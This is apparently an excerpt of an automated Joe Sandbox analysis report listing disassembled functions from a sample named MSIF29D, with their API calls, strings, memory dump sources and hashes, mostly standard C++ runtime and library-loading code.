Instruction Fuzzy Hash: 5221F4B1804B936ED725DF74C881B7BBEF8AB09301F04495EE059C7A42D738E602DB90

Function 00FB6250 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(8F6E4A30,8F6E4A30,?,?,00000000,00FF4981,000000FF), ref: 00FB62EB

Part of subcall function 00FD2C98: EnterCriticalSection.KERNEL32(0100DD3C,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2CA3
Part of subcall function 00FD2C98: LeaveCriticalSection.KERNEL32(0100DD3C,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2CE0

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00FB62B0
GetProcAddress.KERNEL32(00000000), ref: 00FB62B7

Part of subcall function 00FD2C4E: EnterCriticalSection.KERNEL32(0100DD3C,?,?,00FB2427,0100E638,00FF6B40), ref: 00FD2C58
Part of subcall function 00FD2C4E: LeaveCriticalSection.KERNEL32(0100DD3C,?,?,00FB2427,0100E638,00FF6B40), ref: 00FD2C8B
Part of subcall function 00FD2C4E: RtlWakeAllConditionVariable.NTDLL ref: 00FD2D02

Strings

IsWow64Process, xrefs: 00FB62A6
kernel32, xrefs: 00FB62AB

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: 5344650cbab7f3560958dbc3f13d541c5d8f563134f6a9051d2a077eb000511b
Instruction ID: 28cc743e6c9959b84ab40bdaa53f9321f4b2b2d3b0314249b28806883af23bd9
Opcode Fuzzy Hash: 5344650cbab7f3560958dbc3f13d541c5d8f563134f6a9051d2a077eb000511b
Instruction Fuzzy Hash: 70119072D04718DFDB21CF54ED05BA9B7A8EB18720F04066AE825E37C0EB7A6900DB51

Function 00FD69E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00FD6AA3,?,?,0100DDCC,00000000,?,00FD6BCE,00000004,InitializeCriticalSectionEx,00FF97E8,InitializeCriticalSectionEx,00000000), ref: 00FD6A72

Strings

api-ms-, xrefs: 00FD6A32

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: cbfca6227021c31338be2b86b4e614bf6fe75c3b46e36ea3656ec2b2aedc4c48
Instruction ID: b07a8fbb6f4e6dd0104b962329500c605bc1ac1005f611f580a89eeb271ea055
Opcode Fuzzy Hash: cbfca6227021c31338be2b86b4e614bf6fe75c3b46e36ea3656ec2b2aedc4c48
Instruction Fuzzy Hash: C8110A32E04725ABCF229B689C4076973999F02770F184152F954FB3C0D774ED00E6D5

Function 00FE2DEE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8F6E4A30,?,?,00000000,00FF6A6C,000000FF,?,00FE2DC1,?,?,00FE2D95,?), ref: 00FE2E23
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00FE2E35
FreeLibrary.KERNEL32(00000000,?,00000000,00FF6A6C,000000FF,?,00FE2DC1,?,?,00FE2D95,?), ref: 00FE2E57

Strings

mscoree.dll, xrefs: 00FE2E1C
CorExitProcess, xrefs: 00FE2E2D

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fc582bb4909d2ef8e6e512ad102de43a736d10a4d05e4a098a08d5ba466809a5
Instruction ID: 6290fb177e09e7a3fad43010bb1478fa9cbb07e55971bf567ccf6ca1fd546b55
Opcode Fuzzy Hash: fc582bb4909d2ef8e6e512ad102de43a736d10a4d05e4a098a08d5ba466809a5
Instruction Fuzzy Hash: 0701A27290866DABDB129F40CC05FBFBBBCFF04B20F000525F811A22E0DB759900DA80

Function 00FE6DB9 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00FE6E40
__alloca_probe_16.LIBCMT ref: 00FE6F01
__freea.LIBCMT ref: 00FE6F68

Part of subcall function 00FE5BDC: HeapAlloc.KERNEL32(00000000,00000000,00FE3841,?,00FE543A,?,00000000,?,00FD6CE7,00000000,00FE3841,00000000,?,?,?,00FE363B), ref: 00FE5C0E

__freea.LIBCMT ref: 00FE6F7D
__freea.LIBCMT ref: 00FE6F8D

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 26c58f344178fc6a6cf9566351ce7163afb1614decf8ae463a15afa47d1c03f0
Instruction ID: c4bafa5ff1110fa48fa63aa840039f73b7fb03e6eb177f474ce659072bd6f9f7
Opcode Fuzzy Hash: 26c58f344178fc6a6cf9566351ce7163afb1614decf8ae463a15afa47d1c03f0
Instruction Fuzzy Hash: A851B472A0028AAFEF219F66DC41EBF36A9EF647A0B150129FD04D6251F735DC10A7A1

Function 00FBB8B0 Relevance: 7.6, APIs: 5, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FBB8DD
std::_Lockit::_Lockit.LIBCPMT ref: 00FBB900
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBB928
std::_Facet_Register.LIBCPMT ref: 00FBB98D
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBB9B7

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 17000edd4100f59cc6f47c01f7094a833c9c8bbdf43ed374495bf30c7ee21f84
Instruction ID: 549fd45cb95cb1b1e5a23416c16227d43728a846cfeb889d7b6035b8fde7a1e3
Opcode Fuzzy Hash: 17000edd4100f59cc6f47c01f7094a833c9c8bbdf43ed374495bf30c7ee21f84
Instruction Fuzzy Hash: CD312231C00209DFCB22CF54D941BAEBBB4EF14724F24419DE99467391DBB5AE01DB91

Function 00FB5890 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?,75474450,00FB5646,?,?,?,?,?), ref: 00FB5898

Strings

Last error=, xrefs: 00FB58D9
true, xrefs: 00FB58A7, 00FB58B6
false, xrefs: 00FB58A2
Call to ShellExecuteEx() returned:, xrefs: 00FB58AF

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: 94f3f6f4f6baea6c5ef21d1c42fd0f8963611e981e04cf426462b2cf9d52f8bc
Instruction ID: 66c1e3585f9cc6688232ab1e1462b7de8d8987ee2f7588889a7400a67e2f86f9
Opcode Fuzzy Hash: 94f3f6f4f6baea6c5ef21d1c42fd0f8963611e981e04cf426462b2cf9d52f8bc
Instruction Fuzzy Hash: 70118E16E10225C7DB312F6DD8003BAB2E4EF51B64F65047FE8C9D7391EAB98C819B94

Function 00FC1C42 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00FC1C62
_Maklocstr.LIBCPMT ref: 00FC1C7F
_Maklocstr.LIBCPMT ref: 00FC1C9C
_Maklocchr.LIBCPMT ref: 00FC1CAE
_Maklocchr.LIBCPMT ref: 00FC1CC1

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: ddef6d360a87fc526a2844901eebe7680ffe04dd730551586441bb3fbabc40eb
Instruction ID: be592ed93da705a6dfe11476d3f67157b38d5bf95b7c9d33cb67a5c4d2016d91
Opcode Fuzzy Hash: ddef6d360a87fc526a2844901eebe7680ffe04dd730551586441bb3fbabc40eb
Instruction Fuzzy Hash: AB11C1B19407857FE720DBA4CD82F52B7ECBF06350F040519F645CB642C268FC6497A4

Function 00FBD87C Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FBD883
std::_Lockit::_Lockit.LIBCPMT ref: 00FBD88D

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

numpunct.LIBCPMT ref: 00FBD8C7
std::_Facet_Register.LIBCPMT ref: 00FBD8DE
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBD8FE

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: c9472ffae8c13529b338ed25389c5e9833d24f0d36b8f15547137c93412a1744
Instruction ID: 73259b63f57b433bc0f09e203e749ce920b93586314192eee163fefb8167a4ac
Opcode Fuzzy Hash: c9472ffae8c13529b338ed25389c5e9833d24f0d36b8f15547137c93412a1744
Instruction Fuzzy Hash: 3111EC36D0021ADBCB06EBA1C801AFE7761BF80321F24040DE5006B291EF789E01EF92

Function 00FC22FA Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2301
std::_Lockit::_Lockit.LIBCPMT ref: 00FC230B

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

codecvt.LIBCPMT ref: 00FC2345
std::_Facet_Register.LIBCPMT ref: 00FC235C
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC237C

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: f7178fee2a0fd916402cbba07009f321851f07e9c960d566d008303ff9b71b18
Instruction ID: 656b48953afc6255f4ecf3fc69a21b1b0dc807d1ac49b2f38b4035b782b0b5a2
Opcode Fuzzy Hash: f7178fee2a0fd916402cbba07009f321851f07e9c960d566d008303ff9b71b18
Instruction Fuzzy Hash: 6D01A17290025ADBCB15EBA4DD42BBD7765AF84720F24050DF500AB3C1DF789E01EBA1

Function 00FC238F Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2396
std::_Lockit::_Lockit.LIBCPMT ref: 00FC23A0

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

codecvt.LIBCPMT ref: 00FC23DA
std::_Facet_Register.LIBCPMT ref: 00FC23F1
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2411

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 481aa5e313765b030a6e84c36cf3985aa17365b70d98623fed18f2643ac29184
Instruction ID: ce1c9e49af174dc95348da77a087fa86be4a268affc8df58d86d422ba5c797a5
Opcode Fuzzy Hash: 481aa5e313765b030a6e84c36cf3985aa17365b70d98623fed18f2643ac29184
Instruction Fuzzy Hash: D001A17190011ADBCB16EBA4DE42BBE7765AF80720F24040DE5006B292DF789E41EB91

Function 00FC24B9 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC24C0
std::_Lockit::_Lockit.LIBCPMT ref: 00FC24CA

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

collate.LIBCPMT ref: 00FC2504
std::_Facet_Register.LIBCPMT ref: 00FC251B
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC253B

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 56abcc14c60bff5c414d02d5a2bb3d4b0135fe36d8eb29a6a221eedb990ddee4
Instruction ID: 7264f54f71f7e70ae5a74de99bee3b6680626385da035213109bdbbfd2d96814
Opcode Fuzzy Hash: 56abcc14c60bff5c414d02d5a2bb3d4b0135fe36d8eb29a6a221eedb990ddee4
Instruction Fuzzy Hash: 1701C076D0021ADBCB16EBA4DD46BBE7765AF84721F28040DF5006B291CF789F01EB91

Function 00FC2424 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC242B
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2435

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

collate.LIBCPMT ref: 00FC246F
std::_Facet_Register.LIBCPMT ref: 00FC2486
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC24A6

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 66cdf79d28e9915e7b5745dd7836e52dc5f3c39fbaa2863f64da0cadebf5795e
Instruction ID: 38dc8b7698a3e6bac39d488ac41d1635809c8bb65df2c4360349e31fc6410020
Opcode Fuzzy Hash: 66cdf79d28e9915e7b5745dd7836e52dc5f3c39fbaa2863f64da0cadebf5795e
Instruction Fuzzy Hash: D301617590021ADBCB15EBA4D942BBD7B66EF84720F24040DE50067292DF789A01EBA1

Function 00FC25E3 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC25EA
std::_Lockit::_Lockit.LIBCPMT ref: 00FC25F4

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

messages.LIBCPMT ref: 00FC262E
std::_Facet_Register.LIBCPMT ref: 00FC2645
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2665

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 60651a38bc530ec66f79fde0923443b715efed4260816c68ef86493947dcdb5c
Instruction ID: 90e68f9c215684771ac7a210f76c80c3f7305b56d402c621965ff65c646c030f
Opcode Fuzzy Hash: 60651a38bc530ec66f79fde0923443b715efed4260816c68ef86493947dcdb5c
Instruction Fuzzy Hash: EC01A17590011ADBCB16EBA0D912FAD7B65BF80710F24440DF50067291CF789E01EBA1

Function 00FC254E Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2555
std::_Lockit::_Lockit.LIBCPMT ref: 00FC255F

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

ctype.LIBCPMT ref: 00FC2599
std::_Facet_Register.LIBCPMT ref: 00FC25B0
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC25D0

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID:
API String ID: 83828444-0
Opcode ID: 3e599df7b0ec47a8be672eb2ab870123262a258688da842861dddc8d951760b0
Instruction ID: a6600cdf20c6a11f74a397584444955ccde58729e89a70d600d614ea47795dfd
Opcode Fuzzy Hash: 3e599df7b0ec47a8be672eb2ab870123262a258688da842861dddc8d951760b0
Instruction Fuzzy Hash: CB01E17680011ADBCB06EBA4D902BAE7765BF84320F28080DE500A7281DF788E01EBA1

Function 00FBD6BD Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FBD6C4
std::_Lockit::_Lockit.LIBCPMT ref: 00FBD6CE

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

codecvt.LIBCPMT ref: 00FBD708
std::_Facet_Register.LIBCPMT ref: 00FBD71F
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBD73F

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 099dcf08bda1a6869331ed1f3ce16fb83b60b40d3fbee8a59b682afcb2d5deb1
Instruction ID: a5f2f47ad82d1f234db79fe9aae68bed15426e9edaa1325542cd05c19235589a
Opcode Fuzzy Hash: 099dcf08bda1a6869331ed1f3ce16fb83b60b40d3fbee8a59b682afcb2d5deb1
Instruction Fuzzy Hash: 4B01A175D00159DBCB16FBA4CC45AEE7765BF84720F240509E5006B282EF789A02EB92

Function 00FC2678 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC267F
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2689

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

messages.LIBCPMT ref: 00FC26C3
std::_Facet_Register.LIBCPMT ref: 00FC26DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC26FA

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: b46f4c9e467f091af139567c7bfb6c0a020668c8e638dff574bb31fc5e87c4c0
Instruction ID: 40c1fc8d6b98836f825a31d057e4b0d93e39f90c36dc5ab6a0f5b808cbb6bd94
Opcode Fuzzy Hash: b46f4c9e467f091af139567c7bfb6c0a020668c8e638dff574bb31fc5e87c4c0
Instruction Fuzzy Hash: 8901A17190021ADFCB16EBA4CD42BBDB765AF84720F24040DE50067281CF789E01FBA1

Function 00FCE8D8 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCE8DF
std::_Lockit::_Lockit.LIBCPMT ref: 00FCE8E9

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

messages.LIBCPMT ref: 00FCE923
std::_Facet_Register.LIBCPMT ref: 00FCE93A
std::_Lockit::~_Lockit.LIBCPMT ref: 00FCE95A

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
